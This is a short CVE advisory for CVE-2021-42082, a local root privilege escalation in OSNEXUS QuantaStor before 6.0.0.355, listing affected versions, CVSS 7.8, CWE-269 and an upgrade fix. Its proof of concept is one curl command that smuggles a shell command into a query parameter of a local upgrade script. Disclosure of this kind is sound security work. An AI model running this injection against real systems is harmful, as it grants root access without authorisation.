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CVE-2021-42082

Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

CVE CVE-2021-42082
Title Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
Credits
Affected products
Product Affected Unaffected Unknown
OSNEXUS QuantaStor on Windows, Linux >= 0 to < 6.0.0.355 (semver)
everything else
CVSS Base score: 7.8 (HIGH)
References
Problem type(s) CWE-269 Improper Privilege Management
Date published
Last modified 11 Mar 2025 13:39 UTC

Description

Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Solution(s)

Upgrade to the latest version of OSNEXUS QuantaStor.


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